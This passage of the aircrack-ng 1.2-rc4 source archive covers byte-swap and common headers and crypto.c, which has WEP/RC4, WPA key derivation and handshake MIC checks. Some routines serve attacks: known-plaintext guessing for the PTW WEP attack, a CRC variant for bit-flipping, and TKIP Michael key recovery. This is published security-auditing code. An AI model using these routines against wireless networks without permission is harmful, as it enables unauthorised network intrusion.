vstore((vtype*)&(out[i*8*VS64+1*VS64]), b[i]); vstore((vtype*)&(out[i*8*VS64+2*VS64]), c[i]); vstore((vtype*)&(out[i*8*VS64+3*VS64]), d[i]); vstore((vtype*)&(out[i*8*VS64+4*VS64]), e[i]); vstore((vtype*)&(out[i*8*VS64+5*VS64]), f[i]); vstore((vtype*)&(out[i*8*VS64+6*VS64]), g[i]); vstore((vtype*)&(out[i*8*VS64+7*VS64]), h[i]); } } } #endif /* SIMD_PARA_SHA512 */ aircrack-ng-1.2-rc4/src/common.h0000644000000000000000000000542712632732655015174 0ustar rootroot/* * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _COMMON_H_ #define _COMMON_H_ #if defined (__CYGWIN32__) && !defined(__CYGWIN64__) int fseeko64(FILE* fp, int64_t offset, int whence); int64_t ftello64(FILE * fp); #undef fseek #define fseek fseeko64 #undef ftello #define ftello ftello64 #endif #if defined(__FreeBSD__) || defined(__OpenBSD__) #undef rand #define rand lrand48 #undef srand #define srand srand48 #endif #include #define SWAP(x,y) { unsigned char tmp = x; x = y; y = tmp; } #define SWAP32(x) \ x = ( ( ( x >> 24 ) & 0x000000FF ) | \ ( ( x >> 8 ) & 0x0000FF00 ) | \ ( ( x << 8 ) & 0x00FF0000 ) | \ ( ( x << 24 ) & 0xFF000000 ) ); #define PCT { struct tm *lt; time_t tc = time( NULL ); \ lt = localtime( &tc ); printf( "%02d:%02d:%02d ", \ lt->tm_hour, lt->tm_min, lt->tm_sec ); } #ifndef MAX #define MAX(x,y) ( (x)>(y) ? (x) : (y) ) #endif #ifndef MIN #define MIN(x,y) ( (x)>(y) ? (y) : (x) ) #endif #ifndef ABS #define ABS(a) ((a)>=0?(a):(-(a))) #endif // For later use in aircrack-ng #define CPUID_MMX_AVAILABLE 1 #define CPUID_SSE2_AVAILABLE 2 #define CPUID_NOTHING_AVAILABLE 0 #if defined(__i386__) || defined(__x86_64__) #define CPUID() shasse2_cpuid() #else #define CPUID() CPUID_NOTHING_AVAILABLE #endif void calctime(time_t t, float calc); #endif aircrack-ng-1.2-rc4/src/johnswap.h0000644000000000000000000001163312640667310015523 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * */ #if !defined __JOHN_SWAP_H__ #define __JOHN_SWAP_H__ /* reqired for the john_bswap_32 ARCH_WORD_32 declaration */ #include "jcommon.h" /* if x86 compatible cpu */ #if defined(i386) || defined(__i386__) || defined(__i486__) || \ defined(__i586__) || defined(__i686__) || defined(__pentium__) || \ defined(__pentiumpro__) || defined(__pentium4__) || \ defined(__nocona__) || defined(prescott) || defined(__core2__) || \ defined(__k6__) || defined(__k8__) || defined(__athlon__) || \ defined(__amd64) || defined(__amd64__) || \ defined(__x86_64) || defined(__x86_64__) || defined(_M_IX86) || \ defined(_M_AMD64) || defined(_M_IA64) || defined(_M_X64) /* detect if x86-64 instruction set is supported */ # if defined(_LP64) || defined(__LP64__) || defined(__x86_64) || \ defined(__x86_64__) || defined(_M_AMD64) || defined(_M_X64) # undef CPU_X64 # define CPU_X64 1 # else # undef CPU_IA32 # define CPU_IA32 1 # endif # undef CPU_INTEL_LE # define CPU_INTEL_LE 1 #endif #if defined __GNUC__ && ((__GNUC__ == 4 && __GNUC_MINOR__ >= 3) || (__GNUC__ > 4)) # define JOHNSWAP(x) __builtin_bswap32((x)) # define JOHNSWAP64(x) __builtin_bswap64((x)) #elif defined (__linux__) # include # define JOHNSWAP(x) bswap_32((x)) # define JOHNSWAP64(x) bswap_64((x)) #elif (_MSC_VER > 1300) && (_M_IX86 >= 400 || defined(CPU_IA32) || defined(CPU_X64)) /* MS VC */ # define JOHNSWAP(x) _byteswap_ulong((x)) # define JOHNSWAP64(x) _byteswap_uint64 (((unsigned __int64)x)) #elif !defined(__STRICT_ANSI__) # define JOHNSWAP(x) john_bswap_32((x)) # define JOHNSWAP64(x) john_bswap_64((x)) # define ROTATE_LEFT(x, n) (x) = (((x)<<(n))|((ARCH_WORD_32)(x)>>(32-(n)))) # define ROTATE_LEFT64(x, n) (x) = (((x)<<(n))|((unsigned long long)(x)>>(64-(n)))) #if defined(__GNUC__) && defined(CPU_IA32) && !defined(__i386__) /* for intel x86 CPU */ static inline ARCH_WORD_32 __attribute__((const)) john_bswap_32(ARCH_WORD_32 val) { register ARCH_WORD_32 res; __asm("bswap\t%0" : "=r" (res) : "0" (val)); return res; } #else /* Note, the name bswap_32 clashed with a less efficient bswap_32 in gcc 3.4. */ /* Thus, we now call it john_bswap_32 to take 'ownership' */ static inline ARCH_WORD_32 john_bswap_32(ARCH_WORD_32 x) { /* Since this is an inline function, we do not have to worry about */ /* multiple reference of x. Even though we are called from a macro */ /* this inline hides problems even with usage like n=SWAP(*cp++); */ ROTATE_LEFT(x, 16); return ((x & 0x00FF00FF) << 8) | ((x >> 8) & 0x00FF00FF); } #endif static inline unsigned long long john_bswap_64(unsigned long long x) { #if ARCH_BITS == 32 union { unsigned long long ll; ARCH_WORD_32 l[2]; } w, r; w.ll = x; r.l[0] = john_bswap_32(w.l[1]); r.l[1] = john_bswap_32(w.l[0]); return r.ll; #else // Someone should write a 'proper' 64 bit bswap, for 64 bit arch // for now, I am using the '32 bit' version I wrote above. union { unsigned long long ll; ARCH_WORD_32 l[2]; } w, r; w.ll = x; r.l[0] = john_bswap_32(w.l[1]); r.l[1] = john_bswap_32(w.l[0]); return r.ll; #endif } #endif #endif // __JOHN_SWAP_H__ aircrack-ng-1.2-rc4/src/crypto.c0000644000000000000000000013652712571433514015217 0ustar rootroot/* * MD5, SHA-1, RC4 and AES implementations * * Copyright (C) 2001-2004 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include "crypto.h" #include "crctable.h" #include "aircrack-ng.h" #define GET_UINT32_LE(n,b,i) \ { \ (n) = ( (uint32_t) (b)[(i) ] ) \ | ( (uint32_t) (b)[(i) + 1] << 8 ) \ | ( (uint32_t) (b)[(i) + 2] << 16 ) \ | ( (uint32_t) (b)[(i) + 3] << 24 ); \ } #define PUT_UINT32_LE(n,b,i) \ { \ (b)[(i) ] = (uint8_t) ( (n) ); \ (b)[(i) + 1] = (uint8_t) ( (n) >> 8 ); \ (b)[(i) + 2] = (uint8_t) ( (n) >> 16 ); \ (b)[(i) + 3] = (uint8_t) ( (n) >> 24 ); \ } #define GET_UINT32_BE(n,b,i) \ { \ (n) = ( (uint32_t) (b)[(i) ] << 24 ) \ | ( (uint32_t) (b)[(i) + 1] << 16 ) \ | ( (uint32_t) (b)[(i) + 2] << 8 ) \ | ( (uint32_t) (b)[(i) + 3] ); \ } #define PUT_UINT32_BE(n,b,i) \ { \ (b)[(i) ] = (uint8_t) ( (n) >> 24 ); \ (b)[(i) + 1] = (uint8_t) ( (n) >> 16 ); \ (b)[(i) + 2] = (uint8_t) ( (n) >> 8 ); \ (b)[(i) + 3] = (uint8_t) ( (n) ); \ } static unsigned char ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; /* RC4 encryption/ WEP decryption check */ /* SSL decryption */ int encrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ) { RC4_KEY S; RC4_set_key( &S, keylen, key ); RC4( &S, len, data, data ); return ( 0 ); } int decrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ) { encrypt_wep (data,len,key,keylen); return( check_crc_buf( data, len - 4 ) ); } /* An implementation of the ARC4 algorithm */ void rc4_setup( struct rc4_state *s, unsigned char *key, int length ) { int i, j, k, *m, a; s->x = 0; s->y = 0; m = s->m; for( i = 0; i < 256; i++ ) { m[i] = i; } j = k = 0; for(i=0 ; i < 256; i++ ) { a = m[i]; j = (unsigned char) ( j + a + key[k] ); m[i] = m[j]; m[j] = a; if( ++k >= length ) k = 0; } } void rc4_crypt( struct rc4_state *s, unsigned char *data, int length ) { int i, x, y, *m, a, b; x = s->x; y = s->y; m = s->m; for( i = 0; i < length; i++ ) { x = (unsigned char) ( x + 1 ); a = m[x]; y = (unsigned char) ( y + a ); m[x] = b = m[y]; m[y] = a; data[i] ^= m[(unsigned char) ( a + b )]; } s->x = x; s->y = y; } /* WEP (barebone RC4) en-/decryption routines */ /* int encrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ) { struct rc4_state S; rc4_setup( &S, key, keylen ); rc4_crypt( &S, data, len ); return( 0 ); } int decrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ) { struct rc4_state S; rc4_setup( &S, key, keylen ); rc4_crypt( &S, data, len ); return( check_crc_buf( data, len - 4 ) ); } */ /* derive the PMK from the passphrase and the essid */ void calc_pmk( char *key, char *essid_pre, unsigned char pmk[40] ) { int i, j, slen; unsigned char buffer[65]; char essid[33+4]; SHA_CTX ctx_ipad; SHA_CTX ctx_opad; SHA_CTX sha1_ctx; memset(essid, 0, sizeof(essid)); memcpy(essid, essid_pre, strlen(essid_pre)); slen = strlen( essid ) + 4; /* setup the inner and outer contexts */ memset( buffer, 0, sizeof( buffer ) ); strncpy( (char *) buffer, key, sizeof( buffer ) - 1 ); for( i = 0; i < 64; i++ ) buffer[i] ^= 0x36; SHA1_Init( &ctx_ipad ); SHA1_Update( &ctx_ipad, buffer, 64 ); for( i = 0; i < 64; i++ ) buffer[i] ^= 0x6A; SHA1_Init( &ctx_opad ); SHA1_Update( &ctx_opad, buffer, 64 ); /* iterate HMAC-SHA1 over itself 8192 times */ essid[slen - 1] = '\1'; HMAC(EVP_sha1(), (unsigned char *)key, strlen(key), (unsigned char*)essid, slen, pmk, NULL); memcpy( buffer, pmk, 20 ); for( i = 1; i < 4096; i++ ) { memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); for( j = 0; j < 20; j++ ) pmk[j] ^= buffer[j]; } essid[slen - 1] = '\2'; HMAC(EVP_sha1(), (unsigned char *)key, strlen(key), (unsigned char*)essid, slen, pmk+20, NULL); memcpy( buffer, pmk + 20, 20 ); for( i = 1; i < 4096; i++ ) { memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); for( j = 0; j < 20; j++ ) pmk[j + 20] ^= buffer[j]; } } // void calc_ptk (struct WPA_hdsk *wpa, unsigned char bssid[6], unsigned char pmk[32], unsigned char ptk[80]) { // int i; // unsigned char pke[100]; // HMAC_CTX ctx; // // memcpy( pke, "Pairwise key expansion", 23 ); // // if( memcmp( wpa->stmac, bssid, 6 ) < 0 ) // { // memcpy( pke + 23, wpa->stmac, 6 ); // memcpy( pke + 29, bssid, 6 ); // } // else // { // memcpy( pke + 23, bssid, 6 ); // memcpy( pke + 29, wpa->stmac, 6 ); // } // // if( memcmp( wpa->snonce, wpa->anonce, 32 ) < 0 ) // { // memcpy( pke + 35, wpa->snonce, 32 ); // memcpy( pke + 67, wpa->anonce, 32 ); // } // else // { // memcpy( pke + 35, wpa->anonce, 32 ); // memcpy( pke + 67, wpa->snonce, 32 ); // } // // HMAC_CTX_init(&ctx); // HMAC_Init_ex(&ctx, pmk, 32, EVP_sha1(), NULL); // for(i = 0; i < 4; i++ ) // { // pke[99] = i; // //HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL); // HMAC_Init_ex(&ctx, 0, 0, 0, 0); // HMAC_Update(&ctx, pke, 100); // HMAC_Final(&ctx, ptk + i*20, NULL); // } // HMAC_CTX_cleanup(&ctx); // } void calc_mic (struct AP_info *ap, unsigned char pmk[32], unsigned char ptk[80], unsigned char mic[20]) { int i; unsigned char pke[100]; HMAC_CTX ctx; memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 ) { memcpy( pke + 23, ap->wpa.stmac, 6 ); memcpy( pke + 29, ap->bssid, 6 ); } else { memcpy( pke + 23, ap->bssid, 6 ); memcpy( pke + 29, ap->wpa.stmac, 6 ); } if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 ) { memcpy( pke + 35, ap->wpa.snonce, 32 ); memcpy( pke + 67, ap->wpa.anonce, 32 ); } else { memcpy( pke + 35, ap->wpa.anonce, 32 ); memcpy( pke + 67, ap->wpa.snonce, 32 ); } HMAC_CTX_init(&ctx); HMAC_Init_ex(&ctx, pmk, 32, EVP_sha1(), NULL); for(i = 0; i < 4; i++ ) { pke[99] = i; //HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL); HMAC_Init_ex(&ctx, 0, 0, 0, 0); HMAC_Update(&ctx, pke, 100); HMAC_Final(&ctx, ptk + i*20, NULL); } HMAC_CTX_cleanup(&ctx); if( ap->wpa.keyver == 1 ) { HMAC(EVP_md5(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL); } else { HMAC(EVP_sha1(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL); } } unsigned long calc_crc( unsigned char * buf, int len) { unsigned long crc = 0xFFFFFFFF; for( ; len > 0; len--, buf++ ) crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); return( ~crc ); } //without inversion, must be used for bit flipping attacks unsigned long calc_crc_plain( unsigned char * buf, int len) { unsigned long crc = 0x00000000; for( ; len > 0; len--, buf++ ) crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); return( crc ); } /* CRC checksum verification routine */ int check_crc_buf( unsigned char *buf, int len ) { unsigned long crc; crc = calc_crc(buf, len); buf+=len; return( ( ( crc ) & 0xFF ) == buf[0] && ( ( crc >> 8 ) & 0xFF ) == buf[1] && ( ( crc >> 16 ) & 0xFF ) == buf[2] && ( ( crc >> 24 ) & 0xFF ) == buf[3] ); } /* Add CRC32 */ int add_crc32(unsigned char* data, int length) { unsigned long crc; crc = calc_crc(data, length); data[length] = (crc ) & 0xFF; data[length+1] = (crc >> 8) & 0xFF; data[length+2] = (crc >> 16) & 0xFF; data[length+3] = (crc >> 24) & 0xFF; return 0; } int add_crc32_plain(unsigned char* data, int length) { unsigned long crc; crc = calc_crc_plain(data, length); data[length] = (crc ) & 0xFF; data[length+1] = (crc >> 8) & 0xFF; data[length+2] = (crc >> 16) & 0xFF; data[length+3] = (crc >> 24) & 0xFF; return 0; } int calc_crc_buf( unsigned char *buf, int len ) { return (calc_crc(buf, len)); } void *get_da(unsigned char *wh) { if (wh[1] & IEEE80211_FC1_DIR_FROMDS) return wh + 4; else return wh + 4 + 6*2; } void *get_sa(unsigned char *wh) { if (wh[1] & IEEE80211_FC1_DIR_FROMDS) return wh + 4 + 6*2; else return wh + 4 + 6; } int is_ipv6(void *wh) { if(memcmp(wh+4, "\x33\x33", 2) == 0 || memcmp(wh+16, "\x33\x33", 2) == 0) return 1; return 0; } int is_dhcp_discover(void *wh, int len) { if( (memcmp(wh+4, BROADCAST, 6) == 0 || memcmp(wh+16, BROADCAST, 6) == 0) && (len >= 360 - 24 - 4 - 4 && len <= 380 - 24 - 4 - 4 ) ) return 1; return 0; } int is_arp(void *wh, int len) { int arpsize = 8 + 8 + 10*2; if(wh) {} /* remove non BROADCAST frames? could be anything, but * chances are good that we got an arp response tho. */ if (len == arpsize || len == 54) return 1; return 0; } int is_wlccp(void *wh, int len) { int wlccpsize = 58; if(wh) {} if (len == wlccpsize) return 1; return 0; } int is_qos_arp_tkip(void *wh, int len) { unsigned char *packet = (unsigned char*) wh; int qosarpsize = (24 + 2) + 8 + (8 + (8 + 10*2)) + 8 + 4; //82 in total if((packet[1] & 3) == 1) //to ds { if (len == qosarpsize) //always wireless return 1; } if((packet[1] & 3) == 2) //from ds { if (len == qosarpsize || len == qosarpsize + 18) //wireless or padded wired return 1; } return 0; } int is_spantree(void *wh) { if ( wh != NULL && (memcmp( wh + 4, SPANTREE, 6 ) == 0 || memcmp( wh + 16, SPANTREE, 6 ) == 0 )) return 1; return 0; } int is_cdp_vtp(void *wh) { if ( memcmp( wh + 4, CDP_VTP, 6 ) == 0 || memcmp( wh + 16, CDP_VTP, 6 ) == 0 ) return 1; return 0; } /* weight is used for guesswork in PTW. Can be null if known_clear is not for * PTW, but just for getting known clear-text. */ int known_clear(void *clear, int *clen, int *weight, unsigned char *wh, int len) { unsigned char *ptr = clear; int num; if(is_arp(wh, len)) /*arp*/ { len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, get_sa(wh), len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else if(is_wlccp(wh, len)) /*wlccp*/ { len = sizeof(S_LLC_SNAP_WLCCP) - 1; memcpy(ptr, S_LLC_SNAP_WLCCP, len); ptr += len; /* wlccp hdr */ len = 4; memcpy(ptr, "\x00\x32\x40\x01", len); ptr += len; /* dst mac */ len = 6; memcpy(ptr, get_da(wh), len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else if(is_spantree(wh)) /*spantree*/ { len = sizeof(S_LLC_SNAP_SPANTREE) - 1; memcpy(ptr, S_LLC_SNAP_SPANTREE, len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else if(is_cdp_vtp(wh)) /*spantree*/ { len = sizeof(S_LLC_SNAP_CDP) - 1; memcpy(ptr, S_LLC_SNAP_CDP, len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else /* IP */ { unsigned short iplen = htons(len - 8); // printf("Assuming IP %d\n", len); len = sizeof(S_LLC_SNAP_IP) - 1; memcpy(ptr, S_LLC_SNAP_IP, len); ptr += len; #if 1 //version=4; header_length=20; services=0 len = 2; memcpy(ptr, "\x45\x00", len); ptr += len; //ip total length memcpy(ptr, &iplen, len); ptr += len; /* no guesswork */ if (!weight) { *clen = ptr - ((unsigned char*)clear); return 1; } #if 1 /* setting IP ID 0 is ok, as we * bruteforce it later */ //ID=0 len=2; memcpy(ptr, "\x00\x00", len); ptr += len; //ip flags=don't fragment len=2; memcpy(ptr, "\x40\x00", len); ptr += len; #endif #endif len = ptr - ((unsigned char*)clear); *clen = len; memcpy(clear+32, clear, len); memcpy(clear+32+14, "\x00\x00", 2); //ip flags=none num=2; assert(weight); weight[0] = 220; weight[1] = 36; return num; } } /* derive the pairwise transcient keys from a bunch of stuff */ int calc_ptk( struct WPA_ST_info *wpa, unsigned char pmk[32] ) { int i; unsigned char pke[100]; unsigned char mic[20]; memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( wpa->stmac, wpa->bssid, 6 ) < 0 ) { memcpy( pke + 23, wpa->stmac, 6 ); memcpy( pke + 29, wpa->bssid, 6 ); } else { memcpy( pke + 23, wpa->bssid, 6 ); memcpy( pke + 29, wpa->stmac, 6 ); } if( memcmp( wpa->snonce, wpa->anonce, 32 ) < 0 ) { memcpy( pke + 35, wpa->snonce, 32 ); memcpy( pke + 67, wpa->anonce, 32 ); } else { memcpy( pke + 35, wpa->anonce, 32 ); memcpy( pke + 67, wpa->snonce, 32 ); } for( i = 0; i < 4; i++ ) { pke[99] = i; HMAC(EVP_sha1(), pmk, 32, pke, 100, wpa->ptk + i * 20, NULL ); } /* check the EAPOL frame MIC */ if( ( wpa->keyver & 0x07 ) == 1 ) HMAC(EVP_md5(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL ); else HMAC(EVP_sha1(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL ); return( memcmp( mic, wpa->keymic, 16 ) == 0 ); } int init_michael(struct Michael *mic, unsigned char key[8]) { mic->key0 = key[0]<<0 | key[1]<<8 | key[2]<<16 | key[3]<<24; mic->key1 = key[4]<<0 | key[5]<<8 | key[6]<<16 | key[7]<<24; // and reset the message mic->left = mic->key0; mic->right = mic->key1; mic->nBytesInM = 0; mic->message = 0; return 0; } int michael_append_byte(struct Michael *mic, unsigned char byte) { mic->message |= (byte << (8*mic->nBytesInM)); mic->nBytesInM++; // Process the word if it is full. if( mic->nBytesInM >= 4 ) { mic->left ^= mic->message; mic->right ^= ROL32( mic->left, 17 ); mic->left += mic->right; mic->right ^= ((mic->left & 0xff00ff00) >> 8) | ((mic->left & 0x00ff00ff) << 8); mic->left += mic->right; mic->right ^= ROL32( mic->left, 3 ); mic->left += mic->right; mic->right ^= ROR32( mic->left, 2 ); mic->left += mic->right; // Clear the buffer mic->message = 0; mic->nBytesInM = 0; } return 0; } int michael_remove_byte(struct Michael *mic, unsigned char bytes[4]) { if( mic->nBytesInM == 0 ) { // Clear the buffer mic->message = bytes[0] << 0 | bytes[1] << 8 | bytes[2] << 16 | bytes[3] << 24; mic->nBytesInM = 4; mic->left -= mic->right; mic->right ^= ROR32( mic->left, 2 ); mic->left -= mic->right; mic->right ^= ROL32( mic->left, 3 ); mic->left -= mic->right; mic->right ^= ((mic->left & 0xff00ff00) >> 8) | ((mic->left & 0x00ff00ff) << 8); mic->left -= mic->right; mic->right ^= ROL32( mic->left, 17 ); mic->left ^= mic->message; } mic->nBytesInM--; mic->message &= ~(0xFF << (8*mic->nBytesInM)); return 0; } int michael_append(struct Michael *mic, unsigned char *bytes, int length) { while(length > 0) { michael_append_byte(mic, *bytes++); length--; } return 0; } int michael_remove(struct Michael *mic, unsigned char *bytes, int length) { while(length >= 4) { michael_remove_byte(mic, (bytes+length-4)); length--; } return 0; } int michael_finalize(struct Michael *mic) { // Append the minimum padding michael_append_byte(mic, 0x5a ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); // and then zeroes until the length is a multiple of 4 while( mic->nBytesInM != 0 ) { michael_append_byte(mic, 0 ); } // The appendByte function has already computed the result. mic->mic[0] = (mic->left >> 0 ) & 0xff; mic->mic[1] = (mic->left >> 8 ) & 0xff; mic->mic[2] = (mic->left >> 16) & 0xff; mic->mic[3] = (mic->left >> 24) & 0xff; mic->mic[4] = (mic->right >> 0 ) & 0xff; mic->mic[5] = (mic->right >> 8 ) & 0xff; mic->mic[6] = (mic->right >> 16) & 0xff; mic->mic[7] = (mic->right >> 24) & 0xff; return 0; } int michael_finalize_zero(struct Michael *mic) { // Append the minimum padding michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); // and then zeroes until the length is a multiple of 4 while( mic->nBytesInM != 0 ) { michael_append_byte(mic, 0 ); } // The appendByte function has already computed the result. mic->mic[0] = (mic->left >> 0 ) & 0xff; mic->mic[1] = (mic->left >> 8 ) & 0xff; mic->mic[2] = (mic->left >> 16) & 0xff; mic->mic[3] = (mic->left >> 24) & 0xff; mic->mic[4] = (mic->right >> 0 ) & 0xff; mic->mic[5] = (mic->right >> 8 ) & 0xff; mic->mic[6] = (mic->right >> 16) & 0xff; mic->mic[7] = (mic->right >> 24) & 0xff; return 0; } int michael_test(unsigned char key[8], unsigned char *message, int length, unsigned char out[8]) { int i=0; struct Michael mic0; struct Michael mic1; struct Michael mic2; struct Michael mic; init_michael(&mic0, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00"); init_michael(&mic1, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00"); init_michael(&mic2, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00"); michael_append_byte(&mic0, 0x02); michael_append_byte(&mic1, 0x01); michael_append_byte(&mic2, 0x03); michael_finalize(&mic0); michael_finalize_zero(&mic1); michael_finalize(&mic2); printf("Blub 2:"); for(i=0; i<8; i++) { printf("%02X ", mic0.mic[i]); } printf("\n"); printf("Blub 1:"); for(i=0; i<8; i++) { printf("%02X ", mic1.mic[i]); } printf("\n"); printf("Blub 3:"); for(i=0; i<8; i++) { printf("%02X ", mic2.mic[i]); } printf("\n"); init_michael(&mic, key); michael_append(&mic, message, length); michael_finalize(&mic); return (memcmp(mic.mic, out, 8) == 0); } int calc_tkip_mic_key(unsigned char* packet, int length, unsigned char key[8]) { int z, is_qos=0; unsigned char smac[6], dmac[6], bssid[6]; unsigned char prio[4]; unsigned char message[4096]; unsigned char *ptr; struct Michael mic; memset(message, 0, 4096); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z) return 0; /* Check if 802.11e (QoS) */ if( (packet[0] & 0x80) == 0x80) { z+=2; is_qos = 1; } memset(prio, 0, 4); if(is_qos) { prio[0] = packet[z-2] & 0x0f; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } ptr = message; memcpy(ptr, dmac, 6); ptr+=6; memcpy(ptr, smac, 6); ptr+=6; memcpy(ptr, prio, 4); ptr+=4; memcpy(ptr, packet+z, length-z-8); ptr+=length-z-8; memcpy(ptr, "\x5a", 1); ptr+=1; memcpy(ptr, ZERO, 4); ptr+=4; if((ptr-message) % 4 > 0) memcpy(ptr, ZERO, 4-((ptr-message)%4)); ptr+=4-((ptr-message)%4); init_michael(&mic, packet+length-8); michael_remove(&mic, message, (ptr-message)); mic.mic[0] = (mic.left >> 0 ) & 0xFF; mic.mic[1] = (mic.left >> 8 ) & 0xFF; mic.mic[2] = (mic.left >> 16) & 0xFF; mic.mic[3] = (mic.left >> 24) & 0xFF; mic.mic[4] = (mic.right >> 0 ) & 0xFF; mic.mic[5] = (mic.right >> 8 ) & 0xFF; mic.mic[6] = (mic.right >> 16) & 0xFF; mic.mic[7] = (mic.right >> 24) & 0xFF; memcpy(key, mic.mic, 8); return 0; } int calc_tkip_mic(unsigned char* packet, int length, unsigned char ptk[80], unsigned char 